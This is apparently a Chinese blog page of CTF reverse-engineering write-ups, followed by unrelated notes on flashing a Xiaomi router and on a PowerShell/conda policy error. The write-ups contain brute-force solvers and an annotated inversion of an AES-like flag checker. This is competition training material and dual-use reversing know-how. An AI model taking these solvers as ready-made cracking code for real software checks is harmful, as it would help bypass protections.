def mul(a, b): return a * b
def xor(a, b): return a ^ b

def check3(i):
return mul(sub(add(sub(mul(xor(add(mul(xor(mul(add(sub(mul(xor(mul(mul(i, 13), 7), 2), 11), 5), 4), 13), 14), 12), 10), 10), 6), 2), 8), 3), 3) == 39285729;


def check4(i):
return add(mul(sub(sub(add(sub(mul(xor(add(sub(mul(sub(sub(xor(sub(add(i, 6), 15), 2), 12), 13), 13), 13), 6), 12), 7), 4), 5), 8), 8), 7), 8) == -8770;


def check5(i):
return xor(mul(xor(mul(mul(add(add(sub(add(xor(xor(sub(xor(mul(mul(mul(i, 11), 2), 8), 12), 5), 3), 1), 6), 13), 7), 7), 15), 11), 2), 15), 4) == 19196134;


def check6(i):
return sub(sub(sub(xor(xor(xor(xor(sub(sub(xor(mul(add(xor(add(mul(sub(i, 10), 3), 4), 7), 1), 13), 8), 15), 9), 8), 8), 1), 1), 1), 5), 11) == 2811;


def check7(i):
return xor(sub(xor(add(xor(mul(xor(xor(sub(mul(xor(sub(add(xor(mul(add(i, 9), 4), 15), 7), 14), 1), 10), 7), 14), 6), 9), 2), 2), 1), 9), 14) == 88647;


def check8(i):
return xor(xor(mul(add(add(mul(add(mul(add(add(mul(mul(mul(sub(sub(xor(i, 4), 13), 10), 1), 13), 12), 12), 13), 14), 9), 10), 2), 10), 3), 1), 3) == 22156564;


def check9(i):
return mul(mul(xor(xor(sub(add(sub(sub(mul(mul(xor(add(mul(xor(add(xor(i, 12), 7), 14), 15), 8), 14), 7), 12), 1), 15), 9), 2), 5), 4), 3), 5) == 13313010;


def check10(i):
return sub(mul(xor(sub(add(xor(xor(xor(add(mul(add(mul(xor(add(mul(sub(i, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13), 1), 9), 12), 3), 4) == 1117943;


def check11(i):
return xor(xor(mul(xor(add(xor(add(mul(sub(mul(xor(sub(add(mul(add(add(i, 11), 10), 3), 1), 9), 2), 11), 7), 1), 11), 6), 7), 1), 7), 3), 4) == 876250;


def check12(i):
return add(sub(sub(add(add(add(sub(mul(add(xor(xor(xor(xor(sub(add(sub(i, 5), 1), 2), 5), 11), 14), 13), 12), 15), 2), 5), 1), 6), 11), 8), 10) == 90631;


def check13(i):
return mul(xor(add(xor(mul(mul(add(add(xor(sub(add(xor(xor(mul(add(sub(i, 12), 2), 4), 5), 14), 1), 2), 5), 12), 8), 15), 1), 2), 10), 6), 14) == 11794482;


def check14(i):
return xor(mul(sub(xor(add(add(sub(add(xor(add(mul(xor(xor(xor(add(xor(i, 5), 10), 1), 5), 3), 14), 14), 5), 9), 9), 11), 13), 4), 2), 7), 14) == 2801093;


def check15(i):
return xor(add(xor(sub(mul(add(sub(add(sub(sub(xor(mul(mul(xor(add(xor(i, 13), 4), 3), 9), 8), 4), 9), 3), 2), 14), 1), 14), 7), 4), 9), 4) == 51699040;

for i in range(0, 10000000):
if check4(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check5(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check6(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check7(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check8(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check9(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check10(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check11(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check12(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check13(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check14(i):
print(i, end=",")
break
for i in range(0, 10000000):
if check15(i):
print(i, end=",")
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
def add(a, b): return a + b
def sub(a, b): return a - b
def mul(a, b): return a * b
def xor(a, b): return a ^ b
def flag0(i):
i2 = mul(xor(i, 2), 12)
return mul(sub(sub(xor(add(add(i2, 1), 1), 2), 10), 3), 5) == 4435

def flag1(i):
i2 = add(i, 10)
return sub(add(mul(xor(add(sub(sub(i2, 1), 12), 11), 5), 10), 3), 15) == 968

def flag2(i):
i2 = sub(add(add(xor(i, 9), 3), 10), 10)
return sub(mul(xor(mul(i2, 1), 2), 3), 5) == 313

def flag3(i):
i2 = mul(sub(mul(sub(i, 3), 2), 2), 15)
return add(xor(xor(mul(i2, 1), 6), 9), 4) == 3037

def flag4(i):
return add(xor(mul(xor(sub(mul(mul(sub(i, 7), 12), 5), 11), 13), 12), 8), 6) == 71918

def flag5(i):
return sub(xor(xor(xor(sub(xor(xor(mul(i, 7), 11), 12), 7), 3), 11), 10), 12) == 691

def flag6(i):
return xor(add(xor(sub(xor(mul(mul(mul(i, 1), 8), 6), 4), 13), 7), 9), 6) == 4559

def flag7(i):
return add(mul(sub(xor(xor(sub(mul(xor(i, 6), 3), 5), 13), 3), 14), 8), 11) == 1675

def flag8(i):
return mul(sub(add(xor(xor(sub(add(add(i, 12), 12), 7), 3), 13), 14), 5), 12) == 1464

def flag9(i):
return xor(xor(xor(mul(xor(xor(xor(mul(i, 2), 6), 13), 14), 10), 8), 9), 11) == 2056

def flag10(i):
return add(xor(xor(mul(xor(mul(sub(sub(i, 2), 13), 2), 13), 11), 8), 10), 14) == 2249

def flag11(i):
return add(add(mul(mul(sub(sub(sub(sub(i, 4), 15), 14), 10), 7), 5), 13), 6) == 2399

def flag12(i):
i2 = sub(xor(mul(xor(i, 10), 15), 13), 15)
return mul(xor(sub(add(i2, 1), 12), 5), 11) == 15873

def flag13(i):
return sub(xor(add(mul(sub(xor(mul(add(i, 10), 14), 15), 12), 8), 9), 7), 2) == 12292

def flag14(i):
return xor(mul(add(xor(xor(sub(mul(mul(i, 13), 15), 5), 6), 10), 14), 10), 9) == 185309

def flag15(i):
i2 = mul(xor(xor(xor(add(mul(mul(i, 8), 7), 6), 5), 11), 13), 14)
return xor(i2, 1) == 64359

def flag16(i):
return xor(mul(mul(xor(mul(add(add(sub(i, 9), 6), 8), 11), 2), 5), 13), 8) == 75652

def flag17(i):
i2 = sub(add(sub(sub(mul(i, 14), 11), 7), 4), 3)
return sub(sub(mul(i2, 1), 14), 4) == 1617

def flag18(i):
return add(add(mul(sub(sub(add(mul(xor(i, 3), 5), 13), 4), 4), 6), 13), 4) == 3107

def flag19(i):
return mul(sub(xor(sub(mul(mul(mul(sub(i, 5), 2), 10), 8), 5), 7), 4), 7) == 122024

def flag20(i):
return mul(add(sub(add(mul(sub(xor(add(i, 8), 5), 15), 7), 15), 7), 15), 15) == 12000

def flag21(i):
return mul(sub(add(xor(xor(xor(xor(sub(i, 1), 14), 8), 8), 5), 3), 6), 1) == 108

def flag22(i):
i2 = sub(i, 6)
return mul(sub(sub(xor(xor(sub(mul(i2, 1), 8), 7), 9), 7), 6), 15) == 240

def flag23(i):
return xor(mul(mul(mul(sub(add(add(sub(i, 2), 12), 7), 6), 6), 14), 9), 10) == 33274

for i in range(0, 10000000):
if flag0(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag1(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag2(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag3(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag4(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag5(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag6(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag7(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag8(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag9(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag10(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag11(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag12(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag13(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag14(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag15(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag16(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag17(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag18(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag19(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag20(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag21(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag22(i):
print(chr(i), end="")
break
for i in range(0, 10000000):
if flag23(i):
print(chr(i), end="")
break

DouDou

使用工具反混淆得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
const M = [[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118], [202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192], [183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21], [4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117], [9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132], [83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207], [208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168], [81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210], [205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115], [96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219], [224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121], [231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8], [186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138], [112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158], [225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223], [140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]],
r = '4b000aec37eca4a5adb8a52427dcb15d',
A = 'f046ebac49868e2749c41174664c7170',
s = 'ffec2c8fb93ce3877c8a0141ca32e286',
y = '7a1a45825df566087e57b3eb84a11f1a',
B = '73f748de4f0c51fccfde4b8c36fca0df',
F = 'dd6e52061e848546cfd52b695da8505e',
w = '9bf135a63a480f6fd6e69ab1932adbd2',
Q = 'bd1788cd459dedcc2860d71760776dbd',
b = 'e46889fa856a463907d82a8137b7b2a8',
p = 'ac4f324af944e5cd48118a44977f9e09',
i = '0519d37966d5f0d782820f2e29002aab',
f = 'd2dceedae2b841966e6611ab0f2a73d2';
function O(q, V) {
// 进行循环,循环次数为16次,处理两个数组的前16个元素
for (var x = 0; x < 16; x++) {
// 对数组 q 和 V 的第 x 个元素进行异或运算 (^)
// 异或运算是一种二进制操作,当两个比特不相同时结果为1,相同时为0
// 结果与255进行按位与操作 (&)
// 255的二进制表示为11111111,按位与操作确保结果是一个8位的数值
q[x] = (q[x] ^ V[x]) & 255;
}
}

function o(q) {
// 传入的q是长度30的字符串
// 初始化数组V,包含16个零。
var V = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
x, P;

// 遍历数组q的前15个元素。
for (var g = 0; g < 16; g++) {
// 从q[g]
x = (q[g] & 240) >> 4; // x是q[g]的高4位
// 从q[g]的低4位计算P。
P = q[g] & 15; // P是q[g]的低4位
// 根据矩阵M和计算出的x和P的值,更新V[g]的值。
// 注意:这里假设存在一个名为M的二维数组。
V[g] = M[x][P];
}

// 返回更新后的数组V。
return V;
}



function j(q) {
// [0, 1, 2, 3,
// 4, 5, 6, 7,
// 8, 9, 10, 11,
// 12, 13, 14, 15]
// 变成:
// [
// 0, 5, 10, 15,
// 4, 9,14, 3,
// 8, 13, 2, 7,
// 12, 1, 6, 11
// ]
// 也就是第x列, 向上移动x个位置

// q是一个长度为16的数组(整数)
var V = 0; // 声明一个变量V,用于暂存数据
for (var x = 0; x < 4; x++) { // 外层循环,x从0到3
for (var P = 0; P < x; P++) { // 中层循环,P从0到x-1
V = q[x]; // 把q数组中x位置的值暂存到V中
for (var g = 0; g < 4; g++) { // 内层循环,g从0到3
// 将q中当前位置的元素替换为下一行同列位置的元素
q[x + 4 * g] = q[x + 4 * (g + 1)];
}
q[x + 12] = V; // 把最初暂存的值V赋给数组q中的指定位置
}
}
}

function W(q) {
var V = q << 1;
return ((q >> 7) & 1) && ((V = V ^ 27), V); // 如果q的最高位是1,则将V与27进行异或运算, 否则返回V
}
function L(q) { // 如果q的最高位是1,则将返回q^27^q, 否则返回q^q.
return W(q) ^ q;
}
function I(q) {
var V, // 用于循环的变量
x = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; // 初始化输出数组


// x 第0列
for (V = 0; V < 4; V++) {
// 为x的当前索引(4*V)赋值
// 使用W和L函数变换q数组的元素,并进行异或运算(^)
x[4 * V] = W(q[4 * V]) ^ L(q[4 * V + 1]) ^ q[4 * V + 2] ^ q[4 * V + 3];
}

// x 第1列
for (V = 0; V < 4; V++) {
// 类似上面的操作,这次计算的是4*V+1位置的元素
x[4 * V + 1] = q[4 * V] ^ W(q[4 * V + 1]) ^ L(q[4 * V + 2]) ^ q[4 * V + 3];
}

// x 第2列
for (V = 0; V < 4; V++) {
// 计算4*V+2位置的元素
x[4 * V + 2] = q[4 * V] ^ q[4 * V + 1] ^ W(q[4 * V + 2]) ^ L(q[4 * V + 3]);
}

// x 第3列
for (V = 0; V < 4; V++) {
// 计算4*V+3位置的元素
x[4 * V + 3] = L(q[4 * V]) ^ q[4 * V + 1] ^ q[4 * V + 2] ^ W(q[4 * V + 3]);
}

return x; // 返回处理后的数组
}

function l(q, V) { // 合并。q = [0x12, 0x34, 0x56, 0x78] 则V = 0x12345678
return (q[V] & 255) << 24 | (q[V + 1] & 255) << 16 | (q[V + 2] & 255) << 8 | q[V + 3] & 255;
}
function K(q, V) { // q = 0x12345678 则V = [0x12, 0x34, 0x56, 0x78]
for (var x = 0; x < 4; V[x++] = q >> 8 * (3 - x) & 255) { }
}
function v(q, V) {
// 初始化两个长度为4的数组x和P,都填充为0。
var x = [0, 0, 0, 0],
P = [0, 0, 0, 0],

// g数组是一系列的数值,可能用于生成某种密钥扩展中的常数。
g = [16777216, 33554432, 67108864, 134217728, 268435456, 536870912, 1073741824, 2147483648, 452984832, 905969664];

// 循环从4开始,到小于8结束,即迭代4次。
for (var d = 4; d < 8; d++) {
// 当d是4的倍数时执行以下代码
if (d!=4) {
// 对q数组中的最后一个元素进行位运算,然后调用函数K,这里假设K是某种处理函数
K(q[d - 1] >> 24 | q[d - 1] << 8, x);// x存储q[d-1]旋转左移8位的结果. [0xaa, 0xbb, 0xcc, 0xdd]

// 调用函数o,这里假设o是某种处理函数,处理x和P数组,输出结果到P
o(x, P, 4); // 只传入x。

// 使用异或运算符来更新q数组的当前元素
q[d] = q[d - 4] ^ l(P, 0) ^ g[V];
} else {
// 否则,只使用简单的异或运算来更新q数组的当前元素
q[d] = q[d - 4] ^ q[d - 1];
}
}
}

function e(q) {
// q传进来一个字符串如'504850485048504850485048504850'
var tt = {
q: '0x86',
V: '0x88',
x: '0x7d',
P: '0x496',
g: '0x4a5'
},
t9 = {
q: '0x600'
},
t8 = {
q: '0x145'
},
t7 = {
q: '0x1d4'
};
var V = 0,
x = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
P = [87, 52, 116, 101, 114, 68, 114, 48, 112, 67, 84, 70, 50, 48, 50, 52, 82, 23, 108, 70, 32, 83, 30, 118, 80, 16, 74, 48, 98, 32, 120, 4, 231, 171, 158, 236, 199, 248, 128, 154, 151, 232, 202, 170, 245, 200, 178, 174, 11, 156, 122, 10, 204, 100, 250, 144, 91, 140, 48, 58, 174, 68, 130, 148, 24, 143, 88, 238, 212, 235, 162, 126, 143, 103, 146, 68, 33, 35, 16, 208, 46, 69, 40, 19, 250, 174, 138, 109, 117, 201, 24, 41, 84, 234, 8, 249, 137, 117, 177, 51, 115, 219, 59, 94, 6, 18, 35, 119, 82, 248, 43, 142, 136, 132, 168, 51, 251, 95, 147, 109, 253, 77, 176, 26, 175, 181, 155, 148, 221, 144, 138, 74, 38, 207, 25, 39, 219, 130, 169, 61, 116, 55, 50, 169, 92, 179, 89, 216, 122, 124, 64, 255, 161, 254, 233, 194, 213, 201, 219, 107, 183, 10, 38, 219, 205, 118, 102, 36, 108, 136, 143, 230, 185, 65, 84, 141];
// 调用函数 O,传入 q 和 P,此函数未在代码中定义,可能执行某种初始化或处理
O(q, P); // q ^= P[:16]. q是字符串,长度30,这里对前15个字符进行异或操作

// 执行一个循环,循环体内对 q 进行一系列操作
for (var g = 1; g < 10; g++) {
V = o(q), // 调用函数 o,传入 q,此函数未定义
j(V), // 调用函数 j,传入 V,此函数未定义
V = I(V), // 调用函数 I,传入 V,进行某种操作,此函数未定义
O(V, P['slice'](16 * g, 16 * (g + 1))), // 再次调用 O,传入 V 和 P 的一部分
q = V; // 将 V 赋值给 q,用于下一次循环
}

// 在循环外再进行一系列操作
V = o(q),
j(V),
v(x + 40, 10), // 调用函数 v,传入 x+40 和 10. 似乎没用
O(V, P.slice(160)); // 调用 O,传入 V 和 P 的另一部分

// 对 V 数组中的每个元素进行异或操作
for (var g = 0; g < V['length']; g++) {
V[g] ^= 153;
}

// 返回处理后的 V
return V;
}
function check(q) {
var tA = {
q: '0x292',
V: '0x29e',
x: '0x20f',
P: '0x21d',
g: '0x5c',
d: '0x67',
ts: '0x29d',
ty: '0x2a9',
tB: '0x212',
tF: '0x21c',
tw: '0x61',
tQ: '0x6e',
tb: '0x89',
tp: '0x7e',
ti: '0x2a5',
tf: '0x2a1',
tO: '0x5f',
to: '0x68',
tj: '0x1fb',
tW: '0x1f2',
tL: '0x76',
tI: '0x77',
tl: '0x210',
tK: '0x221',
tv: '0x2a0',
te: '0x29a'
},
tr = {
q: '0x25e'
},
tM = {
q: '0x489'
},
tm = {
q: '0xbd'
};
var V = JSON['parse'](JSON['stringify'](q)),
x = [];
for (var P = 0; P < 12; P++) {
x.push(
e(q[P]) // 1. 首先,通过索引 P 从 q 中获取一个元素,并将该元素作为参数传递给函数 e。
.map(g => // 2. 对函数 e 返回的结果执行 map 方法,该方法将对每个元素执行以下的函数。
g.toString(16) // 3. 将每个元素 g 转换为十六进制字符串。
.padStart(2, '0') // 4. 如果转换后的字符串不足两位,前面补零。
)
.join('') // 5. 将所有处理后的元素合并成一个单一的字符串。
);
}
x = x['join'](''); // 拼接x里所有字符串为一个字符串
if (x == '4b000aec37eca4a5adb8a52427dcb15df046ebac49868e2749c41174664c7170ffec2c8fb93ce3877c8a0141ca32e2867a1a45825df566087e57b3eb84a11f1a73f748de4f0c51fccfde4b8c36fca0dfdd6e52061e848546cfd52b695da8505e9bf135a63a480f6fd6e69ab1932adbd2bd1788cd459dedcc2860d71760776dbde46889fa856a463907d82a8137b7b2a8ac4f324af944e5cd48118a44977f9e090519d37966d5f0d782820f2e29002aabd2dceedae2b841966e6611ab0f2a73d2') {
// 初始化两个字符串变量:flag 用于最终结果,res 用于中间结果。
var flag = '', res = '';

// 循环遍历 V 数组的每个元素(假设 V 是已定义的二维数组),索引为 P。V 像['504850485048504850485048504850', '']
for (var P = 0; P < 12; P++) {
// 将 V[P](一个数组)中的每个元素 g 通过 String.fromCharCode 转换成字符,
// map 函数会返回一个新的数组,其中包含了转换后的字符。
res += V[P]['map'](g => String['fromCharCode'](g));
}

// 将 res 中的所有逗号替换为空字符串,因为 map 函数返回的数组会以逗号分隔元素
// 当这些数组元素被转换为字符串并连接时,需要移除这些逗号。
res = res['replaceAll'](',', '');

// 再次循环遍历 res 字符串,每次循环步进 4 个字符。
for (var P = 0; P < res['length']; P += 4) {
// 对每个长度为 4 的子串,使用 parseInt 函数将其当作四进制数解析,并转换为字符。
// 这个转换是基于每 4 个字符代表一个完整的四进制数,这些数再转为 ASCII 字符。
flag += String['fromCharCode'](parseInt(res['slice'](P, P + 4), 4));
}

// 通过 console.log 输出 flag 变量的值。
console['log'](flag);

// 弹出一个对话框显示 "Congratulations!" 和 flag 变量的值。
alert('Congratulations!' + flag);
}
}

然后从后往前逆。

那个I有点难解密,就尝试了一下套娃I(I(x)), 发现是对称的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
t = ['4b000aec37eca4a5adb8a52427dcb15d',
'f046ebac49868e2749c41174664c7170',
'ffec2c8fb93ce3877c8a0141ca32e286',
'7a1a45825df566087e57b3eb84a11f1a',
'73f748de4f0c51fccfde4b8c36fca0df',
'dd6e52061e848546cfd52b695da8505e',
'9bf135a63a480f6fd6e69ab1932adbd2',
'bd1788cd459dedcc2860d71760776dbd',
'e46889fa856a463907d82a8137b7b2a8',
'ac4f324af944e5cd48118a44977f9e09',
'0519d37966d5f0d782820f2e29002aab',
'd2dceedae2b841966e6611ab0f2a73d2'
]
ans = ""
V = []
P = [87, 52, 116, 101, 114, 68, 114, 48, 112, 67, 84, 70, 50, 48, 50, 52, 82, 23, 108, 70, 32, 83, 30, 118, 80, 16, 74, 48, 98, 32, 120, 4, 231, 171, 158, 236, 199, 248, 128, 154, 151, 232, 202, 170, 245, 200, 178, 174, 11, 156, 122, 10, 204, 100, 250, 144, 91, 140, 48, 58, 174, 68, 130, 148, 24, 143, 88, 238, 212, 235, 162, 126, 143, 103, 146, 68, 33, 35, 16, 208, 46, 69, 40, 19, 250, 174, 138, 109, 117, 201, 24, 41, 84, 234, 8, 249, 137, 117, 177, 51, 115, 219, 59, 94, 6, 18, 35, 119, 82, 248, 43, 142, 136, 132, 168, 51, 251, 95, 147, 109, 253, 77, 176, 26, 175, 181, 155, 148, 221, 144, 138, 74, 38, 207, 25, 39, 219, 130, 169, 61, 116, 55, 50, 169, 92, 179, 89, 216, 122, 124, 64, 255, 161, 254, 233, 194, 213, 201, 219, 107, 183, 10, 38, 219, 205, 118, 102, 36, 108, 136, 143, 230, 185, 65, 84, 141]
M = [[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118], [202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192], [183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21], [4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117], [9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132], [83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207], [208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168], [81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210], [205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115], [96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219], [224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121], [231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8], [186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138], [112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158], [225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223], [140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]]
def r_j(q:list):
t = 0
for x in range(4):
for y in range(x):
t = q[x + 12];
for g in range(3, 0, -1): # 3, 2, 1
q[x + 4 * g] = q[x + 4 * (g - 1)]
q[x] = t
return q

def r_o(V:list):
q = []
for i in range(16):
# get the row and column where M[x][y] == V[i]
for x in range(16):
for y in range(16):
if M[x][y] == V[i]:
row = x
col = y
break
q.append((row << 4) | col)
return q

def O(q:list, V:list):
for i in range(16):
q[i] ^= V[i]
return q

def r_W(q:int):
if (q>>7) == 1:
return q ^ 27
else:
return q

def W(q):
V = q << 1
if (q >> 7) & 1:
V = V ^ 27
return V

def L(q):
return W(q) ^ q

def I(q):
x = [0] * 16

for V in range(4):
x[4 * V] = W(q[4 * V]) ^ L(q[4 * V + 1]) ^ q[4 * V + 2] ^ q[4 * V + 3]

for V in range(4):
x[4 * V + 1] = q[4 * V] ^ W(q[4 * V + 1]) ^ L(q[4 * V + 2]) ^ q[4 * V + 3]

for V in range(4):
x[4 * V + 2] = q[4 * V] ^ q[4 * V + 1] ^ W(q[4 * V + 2]) ^ L(q[4 * V + 3])

for V in range(4):
x[4 * V + 3] = L(q[4 * V]) ^ q[4 * V + 1] ^ q[4 * V + 2] ^ W(q[4 * V + 3])

return x

def r_I(q):
return [t%256 for t in I(I(I(q)))]

for a in t:
V = []
for i in range(16):
tmpa = a[i*2:i*2+2]
inta = int(tmpa, 16)
V.append(inta)

print(V)
for i in range(16):
V[i] ^= 153
print(V)
for i in range(16):
V[i] ^= P[160:][i]
print(V)
V = r_j(V)
print(V)

q = r_o(V)
print(q)


# t = [224, 131, 18, 236, 122, 94, 65, 168, 255, 43, 59, 102, 237, 126, 140, 213]
# print(r_I(I(t)))


for g in range(9, 0, -1): # 9, 8, 7, 6, 5, 4, 3, 2, 1
V = q
V = O(V, P[16 * g:16 * g + 16])
V = r_I(V)
V = r_j(V)
q = r_o(V)

q = O(q, P[:16])
print(q)

t = [chr(t) for t in q]
print(''.join(t))
ans += ''.join(t)
print(ans)
# 122211031133122113031133030112321110121113020303130303130301123203211133120112321210113303211311120113101011110212320310130211211133102111031133120110211303030011331212111112321032132102010201
# every 4 letters as a 4-base number, then convert to ascii:
for i in range(0, len(ans), 4):
print(chr(int(ans[i:i+4], 4)), end='')

以及每逆出一层就去console里试试对不对。

Shuffle Puts

打开IDA搜索W4terCTF。

image-20240429191012362

小米路由器r1d刷机遇到的坑

刷的是freshtomato,参考了http://beyondlogic.top/index.php/archives/3/以及恩山的几篇博客。

在cfe upload的时候,报错

1
The file transferred is not a valid firmware image.

后来发现上传的不是zip,而是解压后的trx文件。

刷不成功,就重启多试几次。即使ping -t通了,也可能还没刷完。

快刷完的时候,指示灯变红,路由器风扇轰鸣,有点吓人。

刷完指示灯是黄色的。

Powershell 使用conda activate

安装完anaconda后,使用conda activate xxx 会报错

1
argument command: invalid choice: 'activate'

直接使用activate xxx,则环境没有成功导入。

同时,打开powershell的时候会有红色报错:

1
2
3
4
5
6
7
8
无法加载文件 C:\Users\ZRHan\Documents\WindowsPowerShell\profile.ps1。未对文件 C:\Users\ZRHan\Documents\WindowsPower
Shell\profile.ps1 进行数字签名。无法在当前系统上运行该脚本。有关运行脚本和设置执行策略的详细信息,请参阅 https:/go.micr
osoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 3
+ . 'C:\Users\ZRHan\Documents\WindowsPowerShell\profile.ps1'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [],PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

使用以下ChatGPT解决方案:

  1. 在 PowerShell 中输入以下命令来查看当前的执行策略:
1
Get-ExecutionPolicy
